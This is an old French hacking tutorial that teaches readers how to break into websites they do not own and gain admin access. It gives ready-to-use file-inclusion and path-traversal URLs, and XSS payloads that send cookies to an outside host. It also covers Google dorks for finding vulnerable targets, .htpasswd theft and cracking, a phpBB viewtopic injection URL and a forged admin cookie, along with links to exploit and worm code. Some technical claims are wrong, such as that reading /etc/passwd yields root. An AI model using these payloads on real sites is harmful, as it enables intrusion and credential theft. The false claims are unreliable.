Sommaire :
****

I-Introduction :

Le piratage de sites Web en d'autres mots : le hacking de sites Web ,est le fait d'avoir un accés root sur un site Web qui n'est pas le votre en exploitant une faille qui vous permettra d'avoir un accés administrateur ou avoir les mots de passes de l'administrateur…ce qui revient au meme. Ce tutorial présentera les différentes facons d'aborder un site pour y avoir un accés root ,en essayant de simplifier chaque etape pour la compréhension de tous.

II-Les Failles Web Les plus courantes :

1/La Faille Include :

1.1 Présentation :

Le Langage PHP est le langage le plus répandu sur le net mais aussi le plus puissant car il prend control de la quasi-totalité du serveur.L'include() est l'une des fonctions php les plus utilisées sur la toile , elle permet l'appel de pages depuis une autre . Exemple : Admettons que toutes vos pages utilisent la page sql.php dans laquelle sont contenus vos informations SQL, il convient de l'inclure dans chacune de vos pages plutôt que de retaper l'équivalent de sql.php dans toutes vos pages. Voici donc un exemple pour mieux eclaircir :
L'url du site : http://www.site.com/index.php?page=contact.php
La page index.php ici aurait la structure suivante :

```
<?
include("sql.php");
include($page);
include("footer.php");
?>
```

Ainsi toutes les pages appellées par index.php de l'url (comme l'exemple ci-dessus) inculeraient automatiquement le fichier sql.php

1.2 Exploitation :

Il y a deux manières d'exploiter la faille Include :

Exploitation Interne :

Reprenons notre Exemple : http://www.site.com/index.php?page=contact.php
Ici la page index.php recevait comme parametre la page contact.php pour ensuite l'inclure ,donc si on remplace contact.php par un fichier sensible existant sur le serveur , index.php l'incluerai ce qui nous permettrai de le lire .

Voici quelques exemples :
http://www.site.com/index.php?page=/etc/passwd
http://www.site.com/index.php?page=../../../../../../../etc/passwd
Ici le site afficherais le contenu du repertoire /etc/passwd ,ou se trouvent les comptes administrateurs,ce qui vous permettrais d'avoir : un accés root sur le serveur.

Exploitation Externe :

Reprenons encore une fois notre Exemple : http://www.site.com/index.php?page=contact.php
Ce genre d'exploitation est le plus courant,ici c'est un script php hebergé sur notre propre serveur qu'on pourrait inclure a l'aide d'un appel extérieur de la sorte :
http://www.site.com/index.php?page=http://www.votreserveur.com/script-malfesant.php

Comme vous l'avez surement compris votre « script-malfesant » s'occupera du reste ,il ya plusieurs possiblités , des connaissances en php s'imposent , ce qui n'est pas l'objet de notre tutorial.

1.3 Conclusion :

La Faille Include est une faille tres répandue sur le net ce qui fait d'elle une faille dangereuse pour les webmasters qui vise l'index de leur site et aussi leur statut « root ».

2/La Faille Upload :

2.1 Présentation :

L'upload permet le transfert de fichiers depuis votre machine qui est le client vers le site qui est le serveur , mais souvent les scripts d'upload ne verifient pas l'extension du fichier uploadé , ce qui vous permetterai d'uploader nimporte quel genres de fichiers , dont les scripts php que vous executerez ensuite sur le serveur distant , voila un script d'upload qui est assez courant sur les sites :

```
$uploaddir = "./uploadfiles";
if(ereg("^\.", "$filename_name") || ereg("[ %/,;:+~#````'$%&\()?!^|\]\[]", $filename_name))
{
...
}
elseif(file_exists("$uploaddir/$filename_name"))
{
...
}
elseif($filename_size <= $max_uploadsize)
{
copy($filename, "$uploaddir/$filename_name");
...
```

Comme vous remarquez le script ne verifie nulle part l'extension du fichier uploadé.

2.2 Exploitation :

Dans ce genre de cas il suffit de réaliser un script php qui comblera vos besoins(défacer la page d'acceuil ,recuperer les comptes administrateurs) et de l'uploader sur le serveur , puis de l'exécuter. Il faudra bien sur trouver ou sont uploadés les fichiers , vous trouverez surement cela dans la source de la page upload.php ou upload.php3 , sinon scannez le site avec le soft «

intellitamper » et recherchez le répertoire qui contient votre fichier uploadé.

2.3 Trouver une Cible :

Pour trouver un site avec la faille upload , il suffit de chercher sur google : Allinurl : upload.php ou upload.php3 .

2.4 Conculsion :

La Faille Upload est assez simple a exploiter , et a le meme principe que la faille include , c'est-à-dire exécuter un script php sur le serveur disant pour arriver a vos fins.

3/Directory Listing /Blind Hacking :

3.1 Présentation :

Le Directory Listing n'est pas vraiment une "faille " vu qu'elle ne sert qu'a lister les fichiers d'un dossier ,si ce dernier ne comprend pas d'index , mais elle permet le chopage d'infos au sujet du contenu du site et il se peut meme que vous tombez sur des fichiers sensibles sans protection,le directory listing facilite aussi l'exploitation d'autres failles du genre upload , en permettant de retrouver le fichier que vous avez uploadé et ainsi executer votre script malfesant.
Le Blind Hacking veut dire en francais le hacking aveugle ,et n'est pas considerée comme une technique de hacking , vu que n'importe qui pourrait faire cela.Le Blind hacking utilise comme outil principal le moteur de recherche «google » et a pour but de rechercher des fichiers sensibles , contenant des mot de passes , des comptes admin…

3.2 Exploitation :

Pour trouver des fichiers sensibles il suffit de faire l'une des recherches suivantes sur google :
"index of /" passwd.txt
"index of /" password.txt
"index of /" passwords.txt
"index of /" root.txt
"index of /" /secret
"index of /" /admin
"index of /" /pwl
"index of /" /etc/passwd
"index of /" pass.txt
…

Bref le principal est clair , et ne sert pas a grand-chose…

4/NullBytes :

4.1 Présentation :

Le But de La faille NullBytes est de voir la source d'un script interpreté sur le serveur et innaccessible pour le visiteur.
En fait, cette faille repose sur le fait que les langages interprètent différemment une parcelle de code. Les langages comme Perl, PHP ou ASP interprètent le NULL byte (%00, interprété en tant que \0) en tant que donnée dans leur variable, tandis que le serveur lui-même l'interprète en tant que fin d'un string.

4.2 Exploitation :

Sur Un Site codé en Php La page index.php a en tant que variable l'affichage des différentes pages du site ,par exemple la page contact index.php?page=contact (tout comme la faille include) . En remplaçant 'contact' par index.php%00.txt, la page index.php va être interprétée en tant que fichier texte! Donc toute la source de l'index sera en clair en format txt ! vous arriverez a vos fins en utilisant la meme maniere sur d'autres pages plus sensibles…

La page est un script PHP interprété en txt. On peut changer l'extension en htm ou html également , ce qui donnerais :
http://www.site.com/index.php?page=index.php%00.htm

5/Les .Htaccess :

5.1 Présentation :

Le Fichier .Htaccess: Les .htaccess est un systeme d'authenticifation qui permet de proteger le contenu de repertoires avec des données sensibles et de le rendre soi disant inviolable , il se trouve dans le meme repertoire ou resident les données a proteger.

Le Fichier .Htpasswd:Le fichier .Htpasswd est aussi contenu dans le meme repertoire que l.Htaccess et contient les comptes (login / pass) des utilisateurs autorisés a accéder au repertoire protégé. Pour proteger ce fichier qui devient assez dangereux entre les mains d'une personnes malfesantes , les administrateurs de sites web utilisent la fonction : « Deny From All » ce qui signifie qu'aucun accés via le web n'est autorisé.
Le contenu du fichier .htaccess se compose Généralement de la manière suivante :

```
AuthUserFile /home/www/secret/.htpasswd
AuthName "Zone Admin Please Enter Login et Password"
AuthType Basic
<Limit GET>
require valid-user
</Limit>
```

La ligne AuthUserFile définit ou on va chercher le Password, dans l'exemple il s'agit du fichier .htaccess. La Ligne AuthName désigne le nom qui va s'afficher !
AuthType le type d'identification Et la dernière ligne qu'il est obligatoire d'avoir un utilisateur valide pour afficher le contenu !

5.2 Exploitation :

Il faut copier le Fichier sur votre disque dur vu que vous ne pourriez pas le lire depuis le web! Pour cela vous pourriez utiliser Dos ou Telnet ! Une fois le fichier htpasswd copié ! La maintenant vous pourrez le lire facilement et en connaître le contenu .
La structure d'un fichier .htpasswd est la suivante :
login:password login2:password2

Les mots de passes sur les htpasswd sont cryptés en MD5 , il vous suffira de chercher un peu sur le net pour trouver un logiciel qui permet le decryptage du md5 .

5.3 Conclusion

Les .htaccess sont théoriquement incrackable mais comme vous voyez vous y arriverez juste en copiant le fichier en question sur votre machine et en le decryptant avec un soft quelconque.

6/Cross Site Scripting :

6.1 Presentation :

Le "cross site scripting" est une faille permettant, le plus souvent dans une page web dynamique contenant un formulaire, de faire executer du code javascript, html ou autre directement sur le site.

6.2 Exploitation :

HTML :

La balise IFRAME :
<IFRAME SRC="http://host/pageavoir.html" WIDTH="200" HEIGHT="300"></IFRAME>

ou :
<head><meta HTTP-EQUIV = "refresh" CONTENT = "0 ; URL = http://host/"></head>

ou encore :
<img src="javascript:location='http://www.server.com/page.php?'+document.cookie">
<body onload="location='http://were.to.go';"></body>
<LINK REL=STYLESHEET TYPE="text/javascript" SRC="badjavascript.js">
Ainsi que la balise EMBED, FORM et bien d'autres...

Les filtres : Les filtres supprimant par exemple les caracteres < ou " ne sont parfois pas suffisant.

Le caractere " peut par exemple être remplacé par son encodage (Latin-1) :
" ou encore ".
Donc par exemple :
www.host.com/form.asp?msg=<script>location="http://exemple.com/g.php?"+document.cookie</script>
Ce petit tableau pour rappel, avec les caracteres qui peuvent etre utiles :

! : ! ? : ?
" : " [: [
$: $ / : /
% : % \ : \
' : '] :]
(: (` : `
) :) a-z : a-&#122
+ : + { : {
: : : | : |
< : < } : }
= : =
> : >

6.3 Conclusion :

Le CSS (le CSS est language de description de pages, c'est pourquoi on a préféré utiliser la terminologie XSS) ou XSS est donc une faille tres courante sur le web qui permet l'execution de code sur le serveur , comme la plupart des autres failles tout repose dans votre sens de programmation :).

III- Les exploits:

1.1 Définition :

Un « exploit » est un programme qui « exploite » une vulnérabilité dans un logiciel spécifique ou sur une page web. Chaque exploit est spécifique à une version d'une application car il permet d'en exploiter les failles.

Il existe différents types d'exploits :

* les exploits servant à être root (statut de l'administrateur système sous les systèmes de type UNIX) ;
* l'affichage de fichiers sensibles et protégés du systeme ;
* l'obtention de fichiers divers sur le système.
* Le depassement de tampon sur le systeme , ce qui permettrai d'executer du code arbitraire

Afin de pouvoir l'utiliser,le pirate doit le compiler dans son répertoire de travail sur la machine qu'il veut prendre d'assaut également appelé « shell » (qu'il aura obtenu bien avant). Une fois l'éxecution réussie, selon le rôle de l'exploit, le hacker peut obtenir le statut root sur la machine distante et donc faire absolument toutes les actions qu'il désire...

La plupart du temps les exploits sont écrits en langage C ou en Perl. Ils peuvent toutefois être écrits avec tout langage pour lequel il existe un interpréteur sur la machine cible. Afin de pouvoir l'utiliser, il doit le compiler dans son répertoire de travail sur la machine qu'il veut prendre d'assaut également appelé « shell » (qu'il aura obtenu bien avant).Une fois l'éxecution réussie, selon le rôle de l'exploit, le hacker peut obtenir le statut root sur la machine distante (#) et donc faire absolument toutes les actions qu'il désire...

Les Exploits sont l'outil preferé du parfait script kiddie qui passent leur temps a defaced des sites web sans raisons en exploitant des failles completement nazes avec des exploits dont ils ne comprennent meme pas la maniere dont ca marche (ce qui n'est pas du tout le but de ce tutorial) .

1.2 Ou Trouver Des Exploits ? :

Vous trouverez des exploits (non compilés c'est-à-dire les codes sources de l'exploit en question) sur des sites de professionels de la sécurité, dans les bugtraq, sur le site de groupe de hacker indépendants. Généralement l'exploit arrive quelques jour après la publication de la faille. C'est là que s'engage la course entre pirate et administrateur, c'est à celui qui sera informer le premier... C'est pourquoi il est très important si vous êtes administrateur d'un système d'être attentif aux alertes de sécurité, d'être inscrit à une liste de diffusion publiant les derniers trous de sécurité pour pouvoir patcher votre système dans les plus brefs delais.voila une petite liste de bugtraqs et de sites ou vous pourrez trouver des exploits :

www.frsirt.com
www.milw0rm.com
www.securitylab.ru
www.securityfocus.org
www.insecure.org

1.3 Compiler Un Exploit :

La plupart des temps les experts en securité publient les codes sources des exploits en C et non pas l'exploit compilé (.exe) , pour compiler ces codes sources vous aurez besoin de compilateur c / c++ voila une petite liste de compilateurs que vous pourrez vous approprier :

Visual C++ :inclus dans visual studio ,microsoft
Borland C++ Compiler: www.borland.fr/cbuilder
DevCpp: www.bloodshed.net/devcpp.html

Pour les epxloits en perl , cela ne se compile pas mais s'interprete ,il suffit de copier le code source de l'exploit ,de le coller dans un fichier .txt et de renommer le fichier en .pl (il faudra bien sur avoir ActivePerl installé vous pourrez le telecharger sur : www.telecharger.com) , puis ouvrez le fichier .pl sous votre invite de commande et suivez les indications .

IV-Le Chopage D'infos :

1 Présentation :

L'elément essentiel pour pouvoir réaliser un hack est d'obtenir le plus d'infos sur la cible (IP, Configuartion Serveur, OS, Ports, Version de PHP..) pour ensuite connaître la maniére exacte de l'attaque .

1.1 L'ip De La Cible :

Il suffit de pinger votre cible pour avoir son ip , pour ce , sur votre invite de commade tapez :

ping –a www.site.com
Vous auriez quelque chose comme ca :

Envoi d'une requête 'ping' sur www.site.com 81.168.10.2 avec 32 octets de données :
Réponse de 81.168.10.2 : octets=32 temps<1ms TTL=128
Réponse de 81.168.10.2: octets=32 temps<1ms TTL=128

Ici : 81.168.10.2 est l'ip du site www.site.com.

1.2 Le serveur :

Allez sur telnet , Ouvrez une nouvelle invite de commande, taper telnet puis :
open www.site.com 80 et HEAD \index.php HTTP 1.1 et deux fois enter

Vous devriez obtenir un résultat du genre:

HTTP/1.1 200 OK
Date: Fri, 27 Aug 2004 12:25:4
Server: Apache/1.3.24 (Win32) // Serveur Apache sous windows
X-Powered-By: PHP/4.2.0 // Version de PHP
Connection: close
Content-T:text/html

V-Les Failles Spécifiques :

1.1 Présentation :

Les failles spécifiques , veulent dire ici , les failles sur un service installé sur le site cible .
Exemples : des failles sur un forum précis , ou un livre d'or , un système de news , une chatbox ... Bref j'essayerai de décrire les plus courants sur le web .

1.2 Les Forums PhPBB :

Les Forums PhpBB sont des forums gratuit avc une belle interface a qui on peux appliquer differents themes pour égayer le forum et l'adapte , ces forums font le bonheur de plusieurs administrateurs car ils sont faciles a installer et a adapter au sujet du forum , malheureusement les forums phpbb sont bourrés de failles qui permettent la plupart du temp d'avoir un accés admin

sur le forum ype: text/html

1.3 La Faille viewtopic :

Versions vulnerables : versions <= 2.0.10 , inferieures a 2.0.10
Risque : Moyen : 3/5
Exploits :http://www.k-otik.com/exploits/20041122.r57phpbb2010.pl.php
Erreur :se trouve dans le module viewtopic
Exploitation :L'attaque pourra exploiter cette faille de deux manieres .

Avec l'exploit qui est assez simple a utiliser , vous aurez besoin de active perl pour la compilation de l'exploit mais je pense que cest assez facile vous n'aurez besoin d'aucune notion de programmation ou autre .
avec une URl du genre: "http://www.victime.com/phpbb2/viewtopic.php?a=config.php&t=11& highlight=%2527.readfile\($HTTP_GET_VARS[a]\).%2527"

Vous n'aurez besoin que de modifier le t=11 et mettre un numero de topic existant , puis afficher la soruce de la page et faire une recherche (dans la source de la page) du mot pass , vous aurez ainsi les pass et les login de la base de donnee du site ,ceci bien sur si la faille n'est pas patchee.

Description :

Le ver informatique Santy.a se propage actuellement sur le web, il ne s'agit pas ici d'un virus de type mass-mailing, il est question d'un Web-Worm. Santy.a a pour but (visible) de défigurer des sites web hébergeant un forum phpBB (versions <= 2.0.10) en exploitant la faille "highlight SQL Injection" présente au niveau du fichier "viewtopic.php". Il existe actuellement plus de 6 Millions de forums potentiellement vulnérables à cette attaque (d'où un risque qualifié d'Elevé par K-OTik Security). La menace pourrait être atténuée si Google bloquait la recherche des mots "viewtopic.php" ou "phpBB". Code source du ver Santy : http://www.k-otik.com/exploits/20041222.sanityworm.pl.php

Solutions:
- Migrer vers phpBB version 2.0.11 ou modifier le fichier vulnérable.
- Nous recommandons fortement la mise à jour de PHP (utiliser 4.3.10 ou 5.0.3) car une autre vulnérabilité critique, non exploitée par ce ver, pourrait être, dans l'avenir, utilisée comme vecteur de propagation/compromission de serveurs web (sous PHP <= 4.3.9 ou <= 5.0.2).

Références :

http://www.k-otik.com/exploits/20041122.r57phpbb2010.pl.php
http://www.us-cert.gov/cas/techalerts/TA04-356A.html
http://www.f-secure.com/v-descs/santy_a.shtml
http://www.sarc.com/avcenter/venc/data/perl.santy.html
http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=240513
http://www.k-otik.com/exploits/20041225.SantyB.php

-- phpBB 2.0.12 Session Handling Administrator Authentication Bypass --

L'injection de cookie :

Versions vulnerables : 2.0.x => 2.0.12 , inferieure a 2.0.12
Risque : Elevé 4/5
Exploit :http://packetstormsecurity.org/0503-exploits/phpbbsession.c
Erreur :

Exploitation :

Avec l'exploit ci-joint que je n'ai pas reussi a compiler apres correction de beacoup de bugs (merci a fafner).
En forgeant nous meme un cookie suivant ces etapes :

-Telechargez HKIT :Download
-Inscrivez vous sur le forum que vous attaquez sans cocher l'option se connecter automatiquement .
-Lancez hkit Onglet cookie
-clickez sur le boutton en bas a gauche qui sert a forger un cookie
-remplissez les champs :
name : phpbb2mysql_data
Value : a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B
s%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
-revenez a l'onglet header et dans target url mettez l'url de la racine de votre cible c'est a dire : www.site.com/forum/index.php?
-clickez sur open page vous serez logge avec votre pseudo
-deconnectez vous du forum et vous serez automatiquement logge en tant qu'administrateur :) si le forum est vulnerable .

Vous pourriez aussi exploiter cette faille en modifiant simplement votre cookie en suivant ces etapes :
Ouvrez votre cookie puis modifiez ceci :
a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3B
s%3A6%3A%22userid%22%3Bs%3A1%3A%22X%22%3B%7D
qui est votre id en : a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3B
s%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D
qui est l'id de l'admin . Je pense que c'est la meilleur facon d'exploiter cette faille .

Description :
Cette faille permet a l'attaquant en modifiant son cookie d'avoir les droits d'administrateur .

Solutions :

-Passez a la version 2.0.13 de phpbb
-dans includes/session.php modifiez ceci :
if($sessiondata['autologinid'] == $auto_login_key)
en :
if($sessiondata['autologinid'] === $auto_login_key)

Il ya souvent de nouveaux exploits , dirigez vous vers les bugtraqs cités plus haut .

1.3 Invision Board :

Meme chose que pour phpbb , invision board est un forum gratuit avec differentes failles de sécurité permettant l'accés admin , l'execution de code … Pour les Explotis destinés a ce forum dirigez vous vers les bugtraq Cité plus haut .

1.4-PhpStat :

Un systéme de statistiques en php gratuit . Exploits recents :
http://www.milw0rm.com/id.php?id=1016

1.5-PhphNuke :

Un portail php gratuit
Exploits : http://www.milw0rm.com/id.php?id=921

VI-Conclusion :

Voila nous arrivons a la fin de ce tutorial , c'etait pas facile a ecrire je vous assure :) , en esperant que cela vous as eclaircis les différentes maniéres d'aborder un site web pour y avoir votre accés administrateur et arriver a vos fins .

BuGGz.